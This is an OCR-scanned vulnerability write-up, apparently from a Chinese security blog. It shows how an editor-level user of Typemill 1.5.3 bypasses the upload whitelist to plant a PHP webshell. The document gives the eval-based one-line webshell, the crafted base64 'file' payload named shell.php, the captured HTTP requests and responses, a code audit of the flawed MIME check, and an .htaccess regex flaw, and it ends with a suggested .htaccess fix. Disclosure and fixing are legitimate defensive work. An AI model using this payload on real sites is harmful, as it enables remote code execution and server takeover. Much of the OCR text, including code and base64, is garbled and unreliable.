Description of vulnerability

Attackers can bypass the preset whitelist by special payload at the attachment of post in the
backstage, and successfully upload php files, Implement arbitrary code execution

Official website address: https://typemill.net/

github address: https://github.com/typemill/typemil

Penetration process

Firstly, put a word Trojan base64 encoding

&/hE B

<?php @eval($_POST[ant]); PD9waHAgQGV2YWwolFIQTTNUWZ2FudFOpOw==

Log in to an account above the editor level, upload a file at your post, grab the package, and send
it to Repeater model

BUTP  FTOjECT INTTUGEr Kepeater winN@ow meip

Mic Dashboard  Target  Proxy Intruder  Repeater  Sequencer  Decoder  Comparer  Exte

ntercept  HTTP history ~ WebSockets history ~ Options

I £ Request to http://192.168.48.135:80
!\ Forward H Drop \\ Action || Open Browser

[ Raw  \n Actions v

1 POST /api/vl/file HITP/1.1
C 2 Host: 192.168. 48.135
3 Content-Length: 428
4 Accept: applicatien/json, text/plain, #/#*
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTML, like G
6 Content-Type: application/json
7 Origin: http://192.188. 48. 135
9 Referer: http://192.168. 46. 135/tm/content/visual
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN, zh;q=0.9
11 Cookie: c4a20319370c498b0d1204222708802f=91491083-13dd-4b68-h899-b53Tha5942172. VOqb62 JxY
marks=t7B%2211 5 t%22%3A%5B%22%U4F 01%u4E 1A% 7 248%u3001%u4E1 3%u4E 1 A% 7 248%163D 2%u4EF 6%22%2
%u4EF 6%22%2C%221 5%u5929%uB SE0%UT 406%0T531%u9000%u6E 3E%2 2%2C%2 20 S 3EF UG 6F %636 2IP%H22%2
27440070%22%2C%22k £422%3A%22ht tp%3A/ /wpa. qq. com/msgr d%3F v#%3D3%26uin%3D2927440070%26s1 te
—FH94uSFS1BGJ9LyrQeo; request_token=alTmAfd4dml3YbInBOGZrZQ02bmH6eKqS01 suzl g4BkbyCliz; ¢
% 12 Comnection: close
13
£, Upload a file 14 {

“url”:7/

"file”:"data:application/zip;base64, UEsDBBQAAAAAAL yhV1 T AAAAAAAAAAAAAAAARAAAA
“name”:"1. zip”,

"csrf_name” ;" csrf6235e9257b972",
*esrf_value”:”4cd7151b4dc97cb2802b5eadl1Te0cTT”

]

a2VlZWvlz
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Construct the following payload, put the webshell base64 after the comma of the file field

"url":t/",
"file":"xxx;base64,PD9waHAgQGV2YWwoIFIQTINUW2FudFOpow==",
"name":"shell.php",

"csrf_name":"csrf6235e9257b972",
"csrf_value":"4cd7151b4dc97ch2802b5ea9117e0c77"

N O v bW N


af://n0
https://typemill.net/
https://github.com/typemill/typemil
af://n7

Request

Pretty

DUl e L) LD

-
=TI B =

12

14

Raw ‘n Actions v

POST /api/vi/file HTTP/1.1

Host: 19Z2.168. 46.135

Content—Length: 167

Accept: application/json, text/plain, */#

User—Agent: Meozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW
Content-Type: application/json

Origin: http://192. 168. 48. 135

Referer: http://192.168. 48. 135/tm/content/visual
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;g=0.9

Cookie: ¢4a20319570c498b0d12042e2708802f=91491083-13dd-4bB8—
marks=%TB%2211 5t%22%3A%5B%2 2%u4F 01%u4E 1 A%u7 248%u3001%u4E 1 3%u
Y 4EF 60%22%2C%2 21 50u5929%ub5E 0%u T 406%uT531%u9000%usE 3E%2 2%2CY
2744007 0%22%2C% 22k f %2 2%3A%2 2ht tpt%sA/ /wpa. gq. com/mser d%3F vi3D
—FH94u3FS1EG J9Llyrlgo,; request_tolern=al TmAfd4dml 3VYbInBOGZrIQ0
Comnection: close

{
Turl”:7/T,
“file” :"xxx basef4, PDOwaHAsQGV2 Y Wwo JF9QT1NUW2FudR 0p Ow==",
"name” : “shell. php”,
“esrf_name”: "csrf623529257h9727,
"esrf_value”:"4cd7151b4dc97cb2802b52a8117e0cTT”

Response m -
GG Raw  Render  \n Actions v

1 HTTP/1.1 200 OK

2 Date: Sat, 19 Mar 2022 14:36:54 GMT

3 Server: Apache

4 Expires: Thu, 19 Nov 1981 08:52:00 GMT

5 Cache—Control: no—-store, no-cache, must-revalidate

G Pragma: no—cache

Upgrade: hZ
Comnection: Upgrade,
Vary: Accept-Encoding
Content-Lensth: 140
Content-Type: application/json

close

=]

w0

10
11
12
13 {
"errors”:false,
"info”: {
“title”:"shell (PHP, 25 bytes)”,
“name” : “shell”,
“extension”: “php”,
"size”:"25 bytes”,
url”:"media\/files\/shell. php”
}
}

CSDN @blackedt

CACET

The Webshell was uploaded on /media/tmp/shell.php

Link webshell

B dhndg

O xEE s

B BEaifds

URLiHE ~

EEEE 0 ant
FlubEE

T oy UTF8
EZ: pil PHP

2
= default (3R
() random (GR3EE)
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http://192.168.48.135/media/tmp/shell.php
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Feoreusu e @med e

4 == (0 192.168.48.135

D B#FIE(6) < | O xpmlE (11)
=03/ Ofiz ~ ALE CHlE 2 &FEF AEE > jwww/wwwroot/192.168.48.135/typemill-1.5.3/ < iEH
=
o i B il Bt
=77 wwwroot
L P 192.168.46.135 [0 cache 2022-03-19 19:54:34 4 Kb 0754
= M typemil-1.5.3 [ content 2022-03-19 21:25:57 4 Kb 0775
+ I media [J meda 2022-03-19 19:54:29 4 Kb 0755
I cache [0 settings 2022-03-19 19:52:28 4 Kb 0754
I content O system 2022-03-19 19:12:00 4 Kb 0775
B settings [ themes 2022-03-19 19:10:26 4 Kb 0755
B system D 1070-01-01 08:00:00 NaN b 0
Il themes
D .htaccess 2022-03-19 19:10:26 2.17 Kb 0775
@ .user.ini 2022-03-19 19:27:39 62b 0644
index.php 2022-03-19 19:10:26 118 b 0775
D licence.md 2022-03-19 19:10:26 1.04 Kb 0775
CSDN @blackedt
Succeedfully getshell
Code audit process
First caught http request
Request
Moo’ Raw  \n  Actions v
L POST /api/vl/file HTTP/1.1
2 Host: 192, 168, 48. 135
3 Content-Length: 428

Accept: application/json, text/plain, =#/#*
User—Agent: Mozilla/5.0 (Windows NT 10.0: W
Content-Type: application/json

Origin: http://192. 168. 48. 135 ropp) i oo

D Bafarare httmes 107 182 A2 1258 f4+m famimt mint for

[ ) QTN

Find the corresponding handler class in the code according to the route

48 $app->get( pattern: 'Japi/vl/filerestrictions', callable: ControllerAvthorMediaApi::class .
49 $app->post( pattern: ' fapi/vl/filerestrictions’, callable: ControllerAuthorMediaApi::class .
50 $@pp->get( pattern: ' fapi/vl/file’, : i ile"
51 Sapp->post( pattern: '.v'api.v’vlffi‘Ld' callable: ControllerAuthorMediaApi: :class
52 $app->put( pattern: 'Japif/vl/file", callable: ControllerAuthorMediaApi::class .
53 $app->delete( pattern: ' fapifvl/file’,

':getFileRestrictions')->setName( name: "api.fil
' :updateFileRestrictions')->setName( name: 'api

Name( name: "api.file.get')->add(new Restric
. ':uploadFile')}>setName( name: 'api.file.upload')->add(new
':publishFile')->setName( name: 'api.file.publish')->add(new
callable: ControllerAuthorMediaApi::class . ':deleteFile')->setName( name: 'api.file.delete')->add(ne

Set a breakpoint in the processing method


af://n21

sum index.php sur Api.php £ ControllerAuthorMediafpi.php £ ProcessFile.php € Route.php £ ProcessAsse

=X

d

return $response->withJson(['errors' => 'could not store image to temporary fol

public function uploadFile(Request $request, Response $response, 3args)
{

# get params from call

$this->params = $request->getParams();

$this->uri = $request->getUri()->withUserInfo( user '');

if (lisset($this->params[’'file’']))

{
return $response->withJson(['errors' => 'No file found.'], status: 404);
I
CSDN @plackcdi
Laize = fintY fetrlenirtrimfSthis-snaramel'Fila"] characters: "='113

Let's start with a normal packet and see what the normal upload process is

]

4

Request

Moo’ Raw  \n  Actions w

[ IR I - R ) [T C o I S I

Lie]

[EEF—
Lol

12
13

14

POST /api/v1/file HITP/1.1

Host: 192, 168, 48, 135

Content-Length: 428

Accept: application/json, text/plain, =#*/#*

User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4: =64) AppleW
Content—Type: application/json

Origin: http://192. 168. 48. 135

Referer: http://192. 168. 48. 135/tm/content/visual
Accept—Encoding: gzip, deflate

Accept—Language: zh—CHN, zh g=0.9

Cookie: c4a20319570c498b0d12042e2T08B02f=914910853-13dd—4b&E-
marlks="TE%2211 st%22%3ANSEN2 24 01%4E1 Al T 248%u 3001 % 4E 1 3%
Y4EF 6%2 2%2C%2 21 5592 946 sE 0% T 4068% 0T 231 %900 0%uEE 3E%2 2%2CY%
2744007 0%22%2C%2 2k f%22%3A%22ht tp%3A/ fwpa. qq. com/msgr d%3F v%3D
—-FH94u3FS1EG J9Lyrleo; request_token=al TmAfd4dm] 3YbInEBOGZrIQ0
Comnection: close

{
url” S,
"file":"data:application/zip;base64, UEsDEBQAAAAAAL vhV1TAAA
"name” :"1. zip",
"esrf name”:"ecsrfA23685a1d88677,
"esrf _wvalue”:"86bd5134d73caT2f13c51f7{53fe97h9”

}

if (lisset($this->params['file']))

!
* 3 [

{
return $response->withJson(['errors' => 'No file found.'], status: 484); $response: {messages => [64], validProtecolVersions => [4]
b
$size = (int) (strlen(rtrim($this->params['file'], characters: '=')) * 3 / 4);
$extension | = pothinfo($this->params['name'], flags: PATHINFO_EXTENS
$finfo = finfo_open( flags: FILEINFO_MIME_TYPE ); $finfo
Smtype = @finfo_file( $finfo, $this->params['file'] );

if ($size === )

return $response->withJson(['errors' => 'File is empty.'], status: 422);

Obtain the MIME and name extension information of the file

CSDN @blackedt




# in some environments the finfo_file does not work with o baseé4 string. In future we should store upload
if(Smtype)
1

# moke sure only ollowed filetypes are uplooded

$allowedMimes = $this->getAllowedMtypes(); S$ollowedMimes: {application/vnd

asis.opendocument.chart =

=]

return $response->withJdson(['errors' => 'The mime-type is not allowed'], status: 422);

i
if(
(is_orray($allowedMimes[$mtype]) && !in_array($extension, $allowedMimes[$mtypel)) OR
(!'is_orray($allowedMimes[$mtype]) && $allowedMimes[$mtype] !'= $extension )
)
it
return $response->withJson(['errors' => 'The file-extension is not allowed or wrong'l], status: 422);
i

$§fileProcessor = new ProcessFile(); i
CSDN @blackedt

Validates that the suffix is the same as the MIME type in the whitelist, but this only validates if
$mtype has a value, so try to bypass it here

The MIME type is tested based on the file header

& Evaluate *
Expression:
%_finfa__file( $finfo, "data:text/plain;baseé4,aacd"” v

Use Ctrl+5hift+Enter to add to Watches

Result:
ol result = "application/octet-stream™

E evaluate x
Expression:
?fin_fa__file( $finfo, "aacd" ) v

Use Ctrl+5hift+Enter to add to Watches

Result:
# result = false

Returns false when sending data without using the data protocol

$fileProcessor = new ProcessFile(); $fileProcessor: {baseFolder =>

57 if(!$fileProcessor->checkFolders())
{

69 return $response->withJson(['errors' => 'Please check if your media-folder exists and all fo

$fileinfo = $fileProcessor->storeFile($this->params['file'], $this->params['name']);

CSDN @blackedt

74 if($fileinfo)

Enter the function that stores the file



] public function storeFile($file, Sname) §file: {file => "PKODO¢ @UWR

1 {

] $this-»>setFileName($name, type: 'file'); S$nome: "1.zip" $this
3

4 $this->clearTempFolder();

B

$file = $this->decodeFile($file);

[

$path = $this->tmpFolder . $this->getFullNamegl| @Etha cldaeld/w

We can see the input file content also through decodefFile function decoding, follow in

70 2 public function henudeFile(string $file)

71 {

72 $fileParts = explode( separator: ";baseé4,", $file);

73 $fileType = explode( separator: "f", $fileParts[o]);

74 $fileData = baseb4_decode($TileParts[1]);

75

76 if ($fileData !== false)

7T {

78 return array("file" => $fileData, "type" => $fileTypel[1]);
79 }

A0

81 return false;

82 t CSDN @blackc4t

It can be seen that we forge a piece of data to meet the decodeFile function rules can be
successfully decoded

38 $path = $this->tmpFolder . $this->getFullName(); S$path: "/www/wwwroot/192.168.48.135/typemill-1.5.3/media/tmp/1.zip"

48 if($file '== false &% file_put_contents($path, $file["file"])) $file: {file => "PKOOD§@HR keeeeeeeeceeeceeeeee E

After decoding, write the file to a fixed path using file_put_content
Now, using the idea, it's clear

Construct the payload

1 {

2 "url":"/",

3 "file":"xxx;base64,PD9waHAgGQGV2YWwoIFIQTINUW2FudFOpow==",
4 "name":"shell.php",

5 "csrf_name":"csrf6235e9257b972",

6 "csrf_value":"4cd7151b4dc97ch2802b5ea9117e0c77"

7}

Sending payload



=1 O O f= Gl Lo

POST /api/vl/file HITP/1.1

Host: 192,168, 48,135

Content-Length: 165

Accept: application/json, text/plain, #*/#*

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleW
Content-Type: application/json

Origin: http://192.168. 48.135

5 Referer: http://192.168. 48. 135/tm/content/visual

0

Accept—Encoding: gzip, deflate

10 Accept-Language: zh-CN, zh;g=0.9

11 Cookie: c4a20319570c498b0d12042e2T08802f=914910853-13dd-4b&E-
marks=%TBE%2211=s1t%22%3A%SE%2 2R 01 %4E 1 A% T 24803001 %udE L 34
U 4EF 8%22%2C%2 21 B%us 92 9%ub 5E 0%u T 408007 331 % e00 0tusE 3EWZ 2WICk
27440070%22%2C%2 2k f%22%3A%2 2ht tp%3A/ fwpa. qq. com/msgrd%3F v43D
—FH94u3FS1BG J9Lyrlzo; request_token=al TmAfd4dm]l 3¥bInBOGZrZ00

12 Connection: close

14 {

-

-

L2

-

-

B = 3

riables

:= $args

url”: "/,

file”:"xxx baseb4, PDIwaHA=QGV2YWwo JFOQT1INUWZFudF OpOw=="",
name” : “aaa. php”,

csrf name”:"csrfB236585a1d88677,
csrf_value”:"86bd5134d73ca72f13c51f7f53fe97ha”

CsON @oplackcdt

- if(Smtype)
{

# moke sure only ollowed filetypes are uplooded

$allowedMimes = $this->getAllowedMtypes();

if('isset($allowedMimes[Smtypel))
{
return $response->withJson(['errors’' => 'The
I
\Typemill\Contrallers Controllerﬁlutﬁdiahpi » uploadFile()

=+

= {array} [0]

81 fextension = "php”

& $finfo

= [resource} resource id="142" type="file_info'

I 81 tmtype = false I

> $request = {Slim\Http\Request} [16]

> $response = {Slim\Http\Response} [7]

CSDMN @plackedi

Suffixed whitelist verification is bypassed



78 public function decodeFile(string $file) $file: "xxx;basedd, PD9waHAQQGV

71 {

72 $fileParts = explode( separator: “:baseé4, ", $file); §$rile: "xxx;
73 $TileType = explode( separator: "f", §fileParts[8]); $fileTuype:
74 $fileData = boseé4_decode($fileParts[1]); S$rfileData: "<?php @
75
76 if (§fileData '== false)
77 {
78 -- return array("file" => §fileData, "type" => $fileType[1l);
79 }
80
81 return false;
82 I
83
84
85 public function deleteFile($name)
86 1
87 # validate name
\Typemill\Models » ProcessFile @ decodeFile()

e @ = 3

ibles
B ifile = "wochasesd, PDI9waHAgQGV2YWwoJFIQTINUW2FudFOpOw=="

$fileData = " <?php @eval($ POST[ant]);"
$fileParts = {array} [2]

2
3

Decoded a webshell

39 B '

40 EI if($file 1== false && file_put_contents(FEH), $file["file"])) $file: {fil type => null}
41 1{

42 $size = filesize($path); S$path: "/www/wwwroot/192.168.48.135/typemill-1.5.3/media/tmp/aaa.php” $size: "25 bytes”
43 $size = $this->formatSizeUnits($size];

44

45 $title = str_replace( search: '-', replace: * ', $this->filename); $title: "aoa (PHP, 25 bytes)”

46 $title = $title . ' (' . strtoupper($this--extension) . ', ' . $size .')';

47

48 -- return ['title' => $title, 'name' => $this->filename, 'extension' => $this->extension, 'size' => $size, 'ur‘L

49 T CSDN @bl

The webshell is successfully uploaded on /media/tmp/aaa.php

| notice that the author also wrote a.htaccess file, which has this code in it

1 # Deny access to these file types generally
2  RewriteRule AC.*)?\.yml$ - [F,L]

3  Rewriterule AC.*)?\.yam1$ - [F,L]

4 RewriteRule A(C.*)?\.txt$ - [F,L]

5 RewriteRule A(.*)?\.example$ - [F,L]

6  RewriteRule A(C.*/)?\.git+ - [F,L]

7 RewriteRule A(C.*/)?\.md - [F,L]

8 RewriteRule A(.*/)?\.php - [F,L]

9 RewriteRule A(C.*/)?\.twig - [F,L]

It seems that the author intended to block access to files with these suffixes, but there were some
problems and it did not succeed in blocking access to PHP files



& Files ~ sat 21:41

1 wwwroot 192.168.48.135  typemill-1.5.3

Recent

Home - 2 -j

fr
cache conkent media settings system
[m Desktop

1 Documents | / /

; themes 1.kxt index.php  licence.md phpinfo.
N Downloads php
dd  Music

/
[  Pictures |
vid .htaccess .php .user.ini
vl ideos
i Trash

Here | created three files in the root directory of the site, respectively
1.txt

-php
phpinfo.php

Let's try it out in the browser

< C A F==%| 192.16848.135/1.txt

tools study trouble blog proc os BESE prEaT

Forbidden

You don't have permission to access this resourc

Apache Server at 192.168.48.135 Port 80

< C A F7== 192.168.48.135/.php

tools study trouble blog proc os E<=E e

Forbidden

You don't have permission to access this resourc

Apache Server at 192.168.48.135 Port 80



& > C A F==| 192.168.48.135/phpinfo.php

tools study troukle blog proc os BESE ey Hig=a

System
Build Date

Configure Command

Cansee 1.txt and .php file has been successfully intercepted, but phpinfo.php block failed

Let's go back to the code

1  RewriteRule AC.*)?\.txt$ - [F,L]
2  RewriteRule A(.*/)?\.php - [F,L]

The match failed because there was an extra slash in the .php regular parentheses

Use the antSword to connect the webshell

M SR —ax |
O | wEI | bEs
B ERmE M

URLihht * http://192.158.48.135/media/tmp/3aa.php

EHETEH T ant

PelubiEiE

e UTF8 v
il PHP -

CSDN @plackcst

FEDILTR



[« R=ISE] - [m]
AntSword BE =D B
4« == £192.168.48.135

o B35l (6) < | D% (11)
=/ OFE ~ +LE < RlzR # FEF MBE ~ | fwww/wewwroot/192.168.48.135/typemill-1.5.3/ 2 ixE
=T www
E=F =L Fl B
=T wwwroot
cache 2022-03-19 19:54:34 4 kb 0754
=7 192.168.48.135 O
o typemill-1.5.3 O content 2022-03-19 21:25:57 4 Kb 0775
= W media 03 media 2022-03-19 19:54:29 4 Kb 0755
I cache [0 settings 2022-03-19 19:52:28 4 Kb 0754
Il content [0 system 2022-03-19 1%:12:00 4 Kb 0775
I settings [ themes 2022-03-19 19:10:26 4 Kb 0755
b system D 1970-01-01 08:00:00 NaN b 0
I themes
D .htaccess 2022-03-19 19:10:26 2.17 kb 0775
@ .user.ini 2022-03-19 19:27:39 62b 0644
index.php 2022-03-19 19:10:26 118 b 0775
D licence.md 2022-03-19 19:10:26 1.04 Kb 0775

r

o Y el aelees P
CSDMN @blackedt

Succeedfully getshell

Some advice

For example, PHTML, PHp3, php4 can also be executed, that's why it's safer to filter all the suffix
that starts with "ph"

| suggest changing ".htaccess" to the following code

1 # Deny access to these file types generally
2  RewriteRule AC.*)?\.yml$ - [F,L]

3  Rewriterule AC.*)?\.yam1$ - [F,L]

4  RewriteRule A(C.*)?\.txt$ - [F,L]

5 RewriteRule A(.*)?\.example$ - [F,L]

6 RewriteRule A(C.*/)?\.git+ - [F,L]

7 RewriteRule A(C.*/)?\.md - [F,L]

8 RewriteCond %{REQUEST_URI} !A/index\.php

9 RewriteRule AC.*)?\.ph - [F,L]
10 RewriteRule A(C.*/)?\.twig - [F,L]

There is no problem with normal access


af://n67

< C A F=2| 192.168.48.135/tm/content/visual

tools study trouble blog proc os = W [T i 3 mE | o

Typemill

content meta

I # Homepage

I welcome T . I I
I setup your website y pe m I
I manage access
: The open-source flat-
I write content B
novels, traditional wel
I get help

The PHP file is disabled

< C A F==2| 192.168.48.135/phpinfo.php

tools study troukle blog proc os ESE B3 wi==f

Forbidden

You don't have permission to access this resource.

Apache Server at 192.168.48.135 Port 80



6

C A == 192.168.48.135/media/tmp/aaa.php
toaols study trouble blog proc os ESE

Forbidden

You don't have permission to access this resource.

Apache Server at 192.168.48.135 Port 80

Just uploaded webshell can not access, so you can basically solve the problem
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